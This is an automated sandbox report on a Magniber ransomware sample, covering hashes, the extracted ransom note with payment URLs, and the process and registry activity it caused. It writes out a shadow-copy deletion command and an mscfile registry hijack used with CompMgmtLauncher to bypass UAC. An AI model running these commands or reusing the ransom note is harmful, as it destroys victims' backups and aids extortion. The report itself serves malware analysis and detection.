Resubmissions
23-08-2021 16:26
210823-tx5an7s74s 1018-08-2021 20:35
210818-2gkvb49v8e 1022-07-2021 19:24
210722-68c2armfnx 10Analysis
-
max time kernel
101s -
max time network
148s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
18-08-2021 20:35
Static task
static1
Behavioral task
behavioral1
Sample
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
-
Target
magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe
-
Size
21KB
-
MD5
4160c35d3c600712b528e8072de1bc58
-
SHA1
12c822103678fed7b928f0202eb7e51714ab3b56
-
SHA256
f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675
-
SHA512
f722f7a5560641b0cbeb73dfb9d495cf2920858acfdcd5806f619256f2810569486be00eee4547b07298ca20c18d478f3f567809a7b2ff9cf81519e057a3a962
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://1e4c82580c14c040c0lqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://1e4c82580c14c040c0lqcsthxnw.wonride.site/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.lognear.xyz/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.lieedge.casa/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.bejoin.space/lqcsthxnw
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://1e4c82580c14c040c0lqcsthxnw.ndkeblzjnpqgpo5o.onion/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.wonride.site/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.lognear.xyz/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.lieedge.casa/lqcsthxnw
http://1e4c82580c14c040c0lqcsthxnw.bejoin.space/lqcsthxnw
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 8 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1480 1784 cmd.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1252 1784 cmd.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 920 1784 cmd.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1392 1784 cmd.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 572 1784 vssadmin.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2008 1784 vssadmin.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1796 1784 vssadmin.exe 46 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1032 1784 vssadmin.exe 46 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\InitializeStep.tif => C:\Users\Admin\Pictures\InitializeStep.tif.lqcsthxnw taskhost.exe File opened for modification C:\Users\Admin\Pictures\RemoveStart.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\RemoveStart.tiff => C:\Users\Admin\Pictures\RemoveStart.tiff.lqcsthxnw taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2028 set thread context of 1132 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 19 PID 2028 set thread context of 1240 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 20 PID 2028 set thread context of 1288 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 21 -
Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 572 vssadmin.exe 2008 vssadmin.exe 1796 vssadmin.exe 1032 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336083777" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000040826c4fde14ef41854cdcd29c5d03ff00000000020000000000106600000001000020000000d9ee1db6d406676d0047c831271cbbb6157af6ea701a579d429becf9dd8dcf30000000000e80000000020000200000001f8501eb361eb3a7ca9d72d16ea2f795b648c07ab7514c4823147933bc3c10ce20000000c5dfef3c515686f66eaa13ad8b8cd4144b01a6400e83e866649f5edc14ac21344000000073049a4195f7f7c7e47bd944f2dbe119d896481024ca4f7a9c8aea74a4c17f83d059779b18d9bef5f8282f3638bae0e908033bf5a308d18e2328e2154e4f29a0 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{8714EF61-0063-11EC-9BAB-4EEA6C3C430B} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000040826c4fde14ef41854cdcd29c5d03ff0000000002000000000010660000000100002000000037523b698c76d99c666b57b3e40f6cd171ea70c74d74462462351cc66f1f1adb000000000e8000000002000020000000bff18567c723e87f0b82bc619376d4b13d43326968c4d5b7e3e8f9669a7258b0900000006652550664ac55b9e77082ede0cbc3fadc9510e5da7c552337f8954d213c68620d02c899859c85b45ba558527705dda40314be2796e775ce44d89fe4cd98e6bbf485407c2bdcd74feb58d24e6735f4828d23d03dab69d5ba3dfd0b803a8d13b23c02dfde062cbb64748ce89de58ffa8c59eae24618dbfa5fd67fb484046a789998f64cde59329cc6b006a388224ac497400000001cdec8d853beb477ec005878467b6156e0f426728ee337d654c6f27c49dfcf871f33472bc6a1484c1e46d09a6f4591c8f999d2e42ddfa825fe8745892afdb606 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0c8565f7094d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell taskhost.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1704 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1912 svchost.exe Token: SeSecurityPrivilege 1912 svchost.exe Token: SeTakeOwnershipPrivilege 1912 svchost.exe Token: SeLoadDriverPrivilege 1912 svchost.exe Token: SeSystemProfilePrivilege 1912 svchost.exe Token: SeSystemtimePrivilege 1912 svchost.exe Token: SeProfSingleProcessPrivilege 1912 svchost.exe Token: SeIncBasePriorityPrivilege 1912 svchost.exe Token: SeCreatePagefilePrivilege 1912 svchost.exe Token: SeBackupPrivilege 1912 svchost.exe Token: SeRestorePrivilege 1912 svchost.exe Token: SeShutdownPrivilege 1912 svchost.exe Token: SeDebugPrivilege 1912 svchost.exe Token: SeSystemEnvironmentPrivilege 1912 svchost.exe Token: SeRemoteShutdownPrivilege 1912 svchost.exe Token: SeUndockPrivilege 1912 svchost.exe Token: SeManageVolumePrivilege 1912 svchost.exe Token: 33 1912 svchost.exe Token: 34 1912 svchost.exe Token: 35 1912 svchost.exe Token: SeIncreaseQuotaPrivilege 668 WMIC.exe Token: SeSecurityPrivilege 668 WMIC.exe Token: SeTakeOwnershipPrivilege 668 WMIC.exe Token: SeLoadDriverPrivilege 668 WMIC.exe Token: SeSystemProfilePrivilege 668 WMIC.exe Token: SeSystemtimePrivilege 668 WMIC.exe Token: SeProfSingleProcessPrivilege 668 WMIC.exe Token: SeIncBasePriorityPrivilege 668 WMIC.exe Token: SeCreatePagefilePrivilege 668 WMIC.exe Token: SeBackupPrivilege 668 WMIC.exe Token: SeRestorePrivilege 668 WMIC.exe Token: SeShutdownPrivilege 668 WMIC.exe Token: SeDebugPrivilege 668 WMIC.exe Token: SeSystemEnvironmentPrivilege 668 WMIC.exe Token: SeRemoteShutdownPrivilege 668 WMIC.exe Token: SeUndockPrivilege 668 WMIC.exe Token: SeManageVolumePrivilege 668 WMIC.exe Token: 33 668 WMIC.exe Token: 34 668 WMIC.exe Token: 35 668 WMIC.exe Token: SeShutdownPrivilege 1288 Explorer.EXE Token: SeIncreaseQuotaPrivilege 536 WMIC.exe Token: SeSecurityPrivilege 536 WMIC.exe Token: SeTakeOwnershipPrivilege 536 WMIC.exe Token: SeLoadDriverPrivilege 536 WMIC.exe Token: SeSystemProfilePrivilege 536 WMIC.exe Token: SeSystemtimePrivilege 536 WMIC.exe Token: SeProfSingleProcessPrivilege 536 WMIC.exe Token: SeIncBasePriorityPrivilege 536 WMIC.exe Token: SeCreatePagefilePrivilege 536 WMIC.exe Token: SeBackupPrivilege 536 WMIC.exe Token: SeRestorePrivilege 536 WMIC.exe Token: SeShutdownPrivilege 536 WMIC.exe Token: SeDebugPrivilege 536 WMIC.exe Token: SeSystemEnvironmentPrivilege 536 WMIC.exe Token: SeRemoteShutdownPrivilege 536 WMIC.exe Token: SeUndockPrivilege 536 WMIC.exe Token: SeManageVolumePrivilege 536 WMIC.exe Token: 33 536 WMIC.exe Token: 34 536 WMIC.exe Token: 35 536 WMIC.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1288 Explorer.EXE 1940 iexplore.exe 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE 1288 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1940 iexplore.exe 1940 iexplore.exe 1564 IEXPLORE.EXE 1564 IEXPLORE.EXE 1564 IEXPLORE.EXE 1564 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 1132 wrote to memory of 1704 1132 taskhost.exe 29 PID 1132 wrote to memory of 1704 1132 taskhost.exe 29 PID 1132 wrote to memory of 1704 1132 taskhost.exe 29 PID 1132 wrote to memory of 1164 1132 taskhost.exe 30 PID 1132 wrote to memory of 1164 1132 taskhost.exe 30 PID 1132 wrote to memory of 1164 1132 taskhost.exe 30 PID 1132 wrote to memory of 568 1132 taskhost.exe 62 PID 1132 wrote to memory of 568 1132 taskhost.exe 62 PID 1132 wrote to memory of 568 1132 taskhost.exe 62 PID 1240 wrote to memory of 616 1240 Dwm.exe 36 PID 1240 wrote to memory of 616 1240 Dwm.exe 36 PID 1240 wrote to memory of 616 1240 Dwm.exe 36 PID 1164 wrote to memory of 1940 1164 cmd.exe 35 PID 1164 wrote to memory of 1940 1164 cmd.exe 35 PID 1164 wrote to memory of 1940 1164 cmd.exe 35 PID 568 wrote to memory of 1912 568 wmic.exe 78 PID 568 wrote to memory of 1912 568 wmic.exe 78 PID 568 wrote to memory of 1912 568 wmic.exe 78 PID 1288 wrote to memory of 2012 1288 Explorer.EXE 39 PID 1288 wrote to memory of 2012 1288 Explorer.EXE 39 PID 1288 wrote to memory of 2012 1288 Explorer.EXE 39 PID 616 wrote to memory of 668 616 cmd.exe 41 PID 616 wrote to memory of 668 616 cmd.exe 41 PID 616 wrote to memory of 668 616 cmd.exe 41 PID 2012 wrote to memory of 536 2012 cmd.exe 42 PID 2012 wrote to memory of 536 2012 cmd.exe 42 PID 2012 wrote to memory of 536 2012 cmd.exe 42 PID 2028 wrote to memory of 956 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 76 PID 2028 wrote to memory of 956 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 76 PID 2028 wrote to memory of 956 2028 magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe 76 PID 956 wrote to memory of 748 956 conhost.exe 61 PID 956 wrote to memory of 748 956 conhost.exe 61 PID 956 wrote to memory of 748 956 conhost.exe 61 PID 1480 wrote to memory of 2008 1480 cmd.exe 71 PID 1480 wrote to memory of 2008 1480 cmd.exe 71 PID 1480 wrote to memory of 2008 1480 cmd.exe 71 PID 1940 wrote to memory of 1564 1940 iexplore.exe 57 PID 1940 wrote to memory of 1564 1940 iexplore.exe 57 PID 1940 wrote to memory of 1564 1940 iexplore.exe 57 PID 1940 wrote to memory of 1564 1940 iexplore.exe 57 PID 1252 wrote to memory of 896 1252 cmd.exe 59 PID 1252 wrote to memory of 896 1252 cmd.exe 59 PID 1252 wrote to memory of 896 1252 cmd.exe 59 PID 1392 wrote to memory of 1080 1392 cmd.exe 58 PID 1392 wrote to memory of 1080 1392 cmd.exe 58 PID 1392 wrote to memory of 1080 1392 cmd.exe 58 PID 920 wrote to memory of 864 920 cmd.exe 60 PID 920 wrote to memory of 864 920 cmd.exe 60 PID 920 wrote to memory of 864 920 cmd.exe 60 PID 1080 wrote to memory of 748 1080 CompMgmtLauncher.exe 61 PID 1080 wrote to memory of 748 1080 CompMgmtLauncher.exe 61 PID 1080 wrote to memory of 748 1080 CompMgmtLauncher.exe 61 PID 864 wrote to memory of 1624 864 CompMgmtLauncher.exe 68 PID 864 wrote to memory of 1624 864 CompMgmtLauncher.exe 68 PID 864 wrote to memory of 1624 864 CompMgmtLauncher.exe 68 PID 2008 wrote to memory of 1632 2008 vssadmin.exe 67 PID 2008 wrote to memory of 1632 2008 vssadmin.exe 67 PID 2008 wrote to memory of 1632 2008 vssadmin.exe 67 PID 896 wrote to memory of 568 896 CompMgmtLauncher.exe 62 PID 896 wrote to memory of 568 896 CompMgmtLauncher.exe 62 PID 896 wrote to memory of 568 896 CompMgmtLauncher.exe 62
Processes
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1704
-
-
C:\Windows\system32\cmd.execmd /c "start http://1e4c82580c14c040c0lqcsthxnw.wonride.site/lqcsthxnw^&1^&40439685^&61^&307^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://1e4c82580c14c040c0lqcsthxnw.wonride.site/lqcsthxnw&1&40439685&61&307&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1940 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1564
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵PID:568
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1912
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:668
-
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe"C:\Users\Admin\AppData\Local\Temp\magnibar_f2ab74ce11c4462db427db65ff5755db4d5267d373172384a241017150e14675.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵PID:956
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:748
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:536
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2008
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1632
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵
- Suspicious use of WriteProcessMemory
PID:568
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1624
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:748
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:572
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
- Suspicious use of WriteProcessMemory
PID:2008
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1796
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1032
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-66000939-353657841131837072516511139381016668511-685266239-53052034060588091"1⤵
- Suspicious use of WriteProcessMemory
PID:956
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1420
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1912